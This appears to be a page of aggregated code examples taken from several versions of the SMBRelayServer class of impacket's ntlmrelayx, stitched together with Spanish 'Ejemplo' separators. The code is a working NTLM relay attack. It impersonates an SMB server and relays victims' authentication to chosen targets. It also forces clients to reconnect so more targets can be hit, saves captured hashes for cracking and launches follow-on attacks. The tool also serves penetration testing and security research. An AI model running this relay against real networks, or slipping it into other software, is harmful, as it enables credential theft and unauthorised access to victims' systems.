        # We have confirmed we want to relay to the target host.
        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters'][
                'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            )
            respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
                'SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            rawNTLM = False
            if struct.unpack(
                    'B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
                # If there no GSSAPI ID, it must be an AUTH packet
                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
                token = blob['ResponseToken']
            else:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
                token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack(
                '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = connData['SMBClient']
                try:
                    challengeMessage = self.do_ntlm_negotiate(client, token)
                except Exception:
                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)
                    # Raise exception again to pass it on to the SMB server
                    raise

                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegState'] = b'\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']
                respToken['ResponseToken'] = challengeMessage.getData()

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED

                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10

                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication
                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = connData['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    self.authUser = (
                        '%s/%s' %
                        (authenticateMessage['domain_name'].decode('utf-16le'),
                         authenticateMessage['user_name'].decode('utf-16le'))
                    ).upper()

                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, sessionSetupData['SecurityBlob'],
                        connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet[
                        'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet[
                        'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid'] = recvPacket['Pid']
                    packet['Tid'] = recvPacket['Tid']
                    packet['Mid'] = recvPacket['Mid']
                    packet['Uid'] = recvPacket['Uid']
                    packet['Data'] = b'\x00\x00\x00'
                    packet['ErrorCode'] = errorCode >> 16
                    packet['ErrorClass'] = errorCode & 0xff

                    LOG.error("Authenticating against %s://%s as %s FAILED" %
                              (self.target.scheme, self.target.netloc,
                               self.authUser))

                    #Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target)

                    client.killConnection()

                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    LOG.info("Authenticating against %s://%s as %s SUCCEED" %
                             (self.target.scheme, self.target.netloc,
                              self.authUser))

                    # Log this target as processed for this client
                    self.targetprocessor.logTarget(self.target, True,
                                                   self.authUser)

                    ntlm_hash_data = outputToJohnFormat(
                        connData['CHALLENGE_MESSAGE']['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())

                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegState'] = b'\x00'

                # Done with the relay for now.
                connData['Authenticated'] = True
                del (connData['relayToHost'])

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters[
                'SecurityBlobLength']
            respData['SecurityBlob'] = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                'AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                'UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])

            client = connData['SMBClient']
            _, errorCode = client.sendStandardSecurityAuth(sessionSetupData)

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet[
                    'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet[
                    'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid'] = recvPacket['Pid']
                packet['Tid'] = recvPacket['Tid']
                packet['Mid'] = recvPacket['Mid']
                packet['Uid'] = recvPacket['Uid']
                packet['Data'] = b'\x00\x00\x00'
                packet['ErrorCode'] = errorCode >> 16
                packet['ErrorClass'] = errorCode & 0xff

                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)

                # Finish client's connection
                #client.killConnection()

                return None, [packet], errorCode
            else:
                # We have a session, create a thread and do whatever we want
                self.authUser = ('%s/%s' %
                                 (sessionSetupData['PrimaryDomain'],
                                  sessionSetupData['Account'])).upper()
                LOG.info(
                    "Authenticating against %s://%s as %s SUCCEED" %
                    (self.target.scheme, self.target.netloc, self.authUser))

                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True,
                                               self.authUser)

                ntlm_hash_data = outputToJohnFormat(
                    '', sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                # Done with the relay for now.
                connData['Authenticated'] = True
                del (connData['relayToHost'])
                self.do_attack(client)
                # Now continue with the server
            #############################################################

        respData['NativeOS'] = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode

    def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId)

        authenticateMessage = connData['AUTHENTICATE_MESSAGE']
        self.authUser = (
            '%s/%s' %
            (authenticateMessage['domain_name'].decode('utf-16le'),
             authenticateMessage['user_name'].decode('utf-16le'))).upper()

        # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
        # are processed. There might be a use case for this
        #if 'relayToHost' in connData:
        #    # Connection already relayed, let's just answer the request (that will return object not found)
        #    return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)

        try:
            if self.config.mode.upper() == 'REFLECTION':
                self.targetprocessor = TargetsProcessor(
                    singleTarget='SMB://%s:445/' % connData['ClientIP'])
            if self.authUser == '/':
                LOG.info(
                    'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.'
                    % (connId, connData['ClientIP']))
                return self.origsmbComTreeConnectAndX(connId, smbServer,
                                                      recvPacket)
            self.target = self.targetprocessor.getTarget(
                identity=self.authUser)
            if self.target is None:
                # No more targets to process, just let the victim to fail later
                LOG.info(
                    'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!'
                    % (connId, self.authUser, connData['ClientIP']))
                return self.origsmbComTreeConnectAndX(connId, smbServer,
                                                      recvPacket)

            LOG.info(
                'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s'
                % (connId, self.authUser, connData['ClientIP'],
                   self.target.scheme, self.target.netloc))

            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['relayToHost'] = True
            connData['Authenticated'] = False
            del (connData['NEGOTIATE_MESSAGE'])
            del (connData['CHALLENGE_MESSAGE'])
            del (connData['AUTHENTICATE_MESSAGE'])
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        resp = smb.NewSMBPacket()
        resp['Flags1'] = smb.SMB.FLAGS1_REPLY
        resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
                         recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE

        resp['Tid'] = recvPacket['Tid']
        resp['Mid'] = recvPacket['Mid']
        resp['Pid'] = connData['Pid']

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
        respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
        respData = smb.SMBTreeConnectAndXResponse_Data()

        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(
            SMBCommand['Parameters'])

        if treeConnectAndXParameters['Flags'] & 0x8:
            respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters(
            )

        treeConnectAndXData = smb.SMBTreeConnectAndX_Data(
            flags=recvPacket['Flags2'])
        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[
            'PasswordLength']
        treeConnectAndXData.fromString(SMBCommand['Data'])

        ## Process here the request, does the share exist?
        UNCOrShare = decodeSMBString(recvPacket['Flags2'],
                                     treeConnectAndXData['Path'])

        # Is this a UNC?
        if ntpath.ismount(UNCOrShare):
            path = UNCOrShare.split('\\')[3]
        else:
            path = ntpath.basename(UNCOrShare)

        # This is the key, force the client to reconnect.
        # It will loop until all targets are processed for this user
        errorCode = STATUS_NETWORK_SESSION_EXPIRED
        resp['ErrorCode'] = errorCode >> 16
        resp['_reserved'] = 0o3
        resp['ErrorClass'] = errorCode & 0xff

        if path == 'IPC$':
            respData['Service'] = 'IPC'
        else:
            respData['Service'] = path
        respData['PadLen'] = 0
        respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'],
                                                       'NTFS')

        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        resp['Uid'] = connData['Uid']
        resp.addCommand(respSMBCommand)
        smbServer.setConnectionData(connId, connData)

        return None, [resp], errorCode

    ################################################################################

    #Initialize the correct client for the relay target
    def init_client(self, extSec):
        if self.target.scheme.upper() in self.config.protocolClients:
            client = self.config.protocolClients[self.target.scheme.upper()](
                self.config, self.target, extendedSecurity=extSec)
            client.initConnection()
        else:
            raise Exception('Protocol Client for %s not found!' %
                            self.target.scheme)

        return client

    def do_ntlm_negotiate(self, client, token):
        #Since the clients all support the same operations there is no target protocol specific code needed for now
        return client.sendNegotiate(token)

    def do_ntlm_auth(self, client, SPNEGO_token, challenge):
        #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB
        clientResponse, errorCode = client.sendAuth(SPNEGO_token, challenge)

        return clientResponse, errorCode

    def do_attack(self, client):
        #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties
        # Check if SOCKS is enabled and if we support the target scheme
        if self.config.runSocks and self.target.scheme.upper(
        ) in self.config.socksServer.supportedSchemes:
            if self.config.runSocks is True:
                # Pass all the data to the socksplugins proxy
                activeConnections.put(
                    (self.target.hostname, client.targetPort,
                     self.target.scheme.upper(), self.authUser, client,
                     client.sessionData))
                return

        # If SOCKS is not enabled, or not supported for this scheme, fall back to "classic" attacks
        if self.target.scheme.upper() in self.config.attacks:
            # We have an attack.. go for it
            clientThread = self.config.attacks[self.target.scheme.upper()](
                self.config, client.session, self.authUser)
            clientThread.start()
        else:
            LOG.error('No attack configured for %s' %
                      self.target.scheme.upper())

    def _start(self):
        self.server.daemon_threads = True
        self.server.serve_forever()
        LOG.info('Shutting down SMB Server')
        self.server.server_close()

    def run(self):
        LOG.info("Setting up SMB Server")
        self._start()
Ejemplo n.º 11
0
    def smb2TreeConnect(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId)

        authenticateMessage = connData['AUTHENTICATE_MESSAGE']

        self.authUser = (
            '%s/%s' %
            (authenticateMessage['domain_name'].decode('utf-16le'),
             authenticateMessage['user_name'].decode('utf-16le'))).upper()

        # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
        # are processed. There might be a use case for this
        #if 'relayToHost' in connData:
        #    # Connection already relayed, let's just answer the request (that will return object not found)
        #    return self.origsmb2TreeConnect(connId, smbServer, recvPacket)

        try:
            if self.config.mode.upper() == 'REFLECTION':
                self.targetprocessor = TargetsProcessor(
                    singleTarget='SMB://%s:445/' % connData['ClientIP'])
            if self.authUser == '/':
                LOG.info(
                    'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.'
                    % (connId, connData['ClientIP']))
                return self.origsmb2TreeConnect(connId, smbServer, recvPacket)
            self.target = self.targetprocessor.getTarget(
                identity=self.authUser)
            if self.target is None:
                # No more targets to process, just let the victim to fail later
                LOG.info(
                    'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!'
                    % (connId, self.authUser, connData['ClientIP']))
                return self.origsmb2TreeConnect(connId, smbServer, recvPacket)

            LOG.info(
                'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s'
                % (connId, self.authUser, connData['ClientIP'],
                   self.target.scheme, self.target.netloc))

            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['relayToHost'] = True
            connData['Authenticated'] = False
            del (connData['NEGOTIATE_MESSAGE'])
            del (connData['CHALLENGE_MESSAGE'])
            del (connData['AUTHENTICATE_MESSAGE'])
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = recvPacket['Command']
        respPacket['SessionID'] = connData['Uid']
        respPacket['Reserved'] = recvPacket['Reserved']
        respPacket['MessageID'] = recvPacket['MessageID']
        respPacket['TreeID'] = recvPacket['TreeID']

        respSMBCommand = smb3.SMB2TreeConnect_Response()

        # This is the key, force the client to reconnect.
        # It will loop until all targets are processed for this user
        errorCode = STATUS_NETWORK_SESSION_EXPIRED

        respPacket['Status'] = errorCode
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaximalAccess'] = 0x000f01ff

        respPacket['Data'] = respSMBCommand

        # Sign the packet if needed
        if connData['SignatureEnabled']:
            smbServer.signSMBv2(respPacket, connData['SigningSessionKey'])

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], errorCode
Ejemplo n.º 12
0
    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(
                singleTarget='SMB://%s:445/' % connData['ClientIP'])

        self.target = self.targetprocessor.getTarget()

        LOG.info(
            "SMBD-%s: Received connection from %s, attacking target %s://%s" %
            (connId, connData['ClientIP'], self.target.scheme,
             self.target.netloc))

        try:
            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = smb3.SMB2_NEGOTIATE
        respPacket['SessionID'] = 0

        if isSMB1 is False:
            respPacket['MessageID'] = recvPacket['MessageID']
        else:
            respPacket['MessageID'] = 0

        respPacket['TreeID'] = 0

        respSMBCommand = smb3.SMB2Negotiate_Response()

        # Just for the Nego Packet, then disable it
        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

        if isSMB1 is True:
            # Let's first parse the packet to see if the client supports SMB2
            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

            dialects = SMBCommand['Data'].split(b'\x02')
            if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
            else:
                # Client does not support SMB2 fallbacking
                raise Exception('Client does not support SMB2, fallbacking')
        else:
            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

        respSMBCommand['ServerGuid'] = b(''.join(
            [random.choice(string.ascii_letters) for _ in range(16)]))
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaxTransactSize'] = 65536
        respSMBCommand['MaxReadSize'] = 65536
        respSMBCommand['MaxWriteSize'] = 65536
        respSMBCommand['SystemTime'] = getFileTime(
            calendar.timegm(time.gmtime()))
        respSMBCommand['ServerStartTime'] = getFileTime(
            calendar.timegm(time.gmtime()))
        respSMBCommand['SecurityBufferOffset'] = 0x80

        blob = SPNEGO_NegTokenInit()
        blob['MechTypes'] = [
            TypesMech[
                'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]

        respSMBCommand['Buffer'] = blob.getData()
        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

        respPacket['Data'] = respSMBCommand

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], STATUS_SUCCESS
Ejemplo n.º 13
0
    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])

        self.target = self.targetprocessor.getTarget()

        #############################################################
        # SMBRelay
        # Get the data for all connections
        smbData = smbServer.getConnectionData('SMBRelay', False)
        if self.target in smbData:
            # Remove the previous connection and use the last one
            smbClient = smbData[self.target]['SMBClient']
            del smbClient
            del smbData[self.target]

        LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc))

        try:
            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            smbData[self.target] = {}
            smbData[self.target]['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData('SMBRelay', smbData)
            smbServer.setConnectionData(connId, connData)

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = smb3.SMB2_NEGOTIATE
        respPacket['SessionID'] = 0

        if isSMB1 is False:
            respPacket['MessageID'] = recvPacket['MessageID']
        else:
            respPacket['MessageID'] = 0

        respPacket['TreeID'] = 0

        respSMBCommand = smb3.SMB2Negotiate_Response()

        # Just for the Nego Packet, then disable it
        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

        if isSMB1 is True:
            # Let's first parse the packet to see if the client supports SMB2
            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

            dialects = SMBCommand['Data'].split('\x02')
            if 'SMB 2.002\x00' in dialects or 'SMB 2.???\x00' in dialects:
                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
            else:
                # Client does not support SMB2 fallbacking
                raise Exception('SMB2 not supported, fallbacking')
        else:
            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

        respSMBCommand['ServerGuid'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaxTransactSize'] = 65536
        respSMBCommand['MaxReadSize'] = 65536
        respSMBCommand['MaxWriteSize'] = 65536
        respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
        respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
        respSMBCommand['SecurityBufferOffset'] = 0x80

        blob = SPNEGO_NegTokenInit()
        blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
                             TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]


        respSMBCommand['Buffer'] = blob.getData()
        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

        respPacket['Data'] = respSMBCommand

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], STATUS_SUCCESS
Ejemplo n.º 14
0
        logging.getLogger('impacket.smbserver').setLevel(logging.ERROR)

    # Let's register the protocol clients we have
    # ToDo: Do this better somehow
    from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS
    from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS

    if options.codec is not None:
        codec = options.codec
    else:
        codec = sys.getdefaultencoding()

    if options.target is not None:
        logging.info("Running in relay mode to single host")
        mode = 'RELAY'
        targetSystem = TargetsProcessor(singleTarget=options.target,
                                        protocolClients=PROTOCOL_CLIENTS)
    else:
        if options.tf is not None:
            #Targetfile specified
            logging.info("Running in relay mode to hosts in targetfile")
            targetSystem = TargetsProcessor(targetListFile=options.tf,
                                            protocolClients=PROTOCOL_CLIENTS)
            mode = 'RELAY'
        else:
            logging.info("Running in reflection mode")
            targetSystem = None
            mode = 'REFLECTION'

    if not options.no_smb_server:
        RELAY_SERVERS.append(SMBRelayServer)
Ejemplo n.º 15
0
class SMBRelayServer(Thread):
    def __init__(self,config):
        Thread.__init__(self)
        self.daemon = True
        self.server = 0
        #Config object
        self.config = config
        #Current target IP
        self.target = None
        #Targets handler
        self.targetprocessor = self.config.target
        #Username we auth as gets stored here later
        self.authUser = None
        self.proxyTranslator = None

        # Here we write a mini config for the server
        smbConfig = ConfigParser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global','server_name','server_name')
        smbConfig.set('global','server_os','UNIX')
        smbConfig.set('global','server_domain','WORKGROUP')
        smbConfig.set('global','log_file','smb.log')
        smbConfig.set('global','credentials_file','')

        if self.config.smb2support is True:
            smbConfig.set("global", "SMB2Support", "True")
        else:
            smbConfig.set("global", "SMB2Support", "False")

        if self.config.outputFile is not None:
            smbConfig.set('global','jtr_dump_path',self.config.outputFile)

        # IPC always needed
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$','comment','')
        smbConfig.set('IPC$','read only','yes')
        smbConfig.set('IPC$','share type','3')
        smbConfig.set('IPC$','path','')

        # Change address_family to IPv6 if this is configured
        if self.config.ipv6:
            SMBSERVER.address_family = socket.AF_INET6

        # changed to dereference configuration interfaceIp
        self.server = SMBSERVER((config.interfaceIp,445), config_parser = smbConfig)
        logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)

        self.server.processConfigFile()

        self.origSmbComNegotiate = self.server.hookSmbCommand(smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
        self.origSmbSessionSetupAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)

        self.origSmbNegotiate = self.server.hookSmb2Command(smb3.SMB2_NEGOTIATE, self.SmbNegotiate)
        self.origSmbSessionSetup = self.server.hookSmb2Command(smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)
        # Let's use the SMBServer Connection dictionary to keep track of our client connections as well
        #TODO: See if this is the best way to accomplish this

        # changed to dereference configuration interfaceIp
        self.server.addConnection('SMBRelay', config.interfaceIp, 445)

    ### SMBv2 Part #################################################################
    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
        connData = smbServer.getConnectionData(connId, checkStatus=False)


        LOG.info("SMBD: Received connection from %s" % (connData['ClientIP']))

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = smb3.SMB2_NEGOTIATE
        respPacket['SessionID'] = 0

        if isSMB1 is False:
            respPacket['MessageID'] = recvPacket['MessageID']
        else:
            respPacket['MessageID'] = 0

        respPacket['TreeID'] = 0

        respSMBCommand = smb3.SMB2Negotiate_Response()

        # Just for the Nego Packet, then disable it
        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

        if isSMB1 is True:
            # Let's first parse the packet to see if the client supports SMB2
            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

            dialects = SMBCommand['Data'].split('\x02')
            if 'SMB 2.002\x00' in dialects or 'SMB 2.???\x00' in dialects:
                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
            else:
                # Client does not support SMB2 fallbacking
                raise Exception('SMB2 not supported, fallbacking')
        else:
            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

        respSMBCommand['ServerGuid'] = ''.join([random.choice(string.letters) for _ in range(16)])
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaxTransactSize'] = 65536
        respSMBCommand['MaxReadSize'] = 65536
        respSMBCommand['MaxWriteSize'] = 65536
        respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
        respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
        respSMBCommand['SecurityBufferOffset'] = 0x80

        blob = GSSAPIHeader_SPNEGO_Init2()
        blob['tokenOid'] = '1.3.6.1.5.5.2'
        blob['innerContextToken']['mechTypes'].extend([MechType(TypesMech['KRB5 - Kerberos 5']),
                                                       MechType(TypesMech['MS KRB5 - Microsoft Kerberos 5']),
                                                       MechType(TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'])])
        blob['innerContextToken']['negHints']['hintName'] = "not_defined_in_RFC4178@please_ignore"
        respSMBCommand['Buffer'] = encoder.encode(blob)

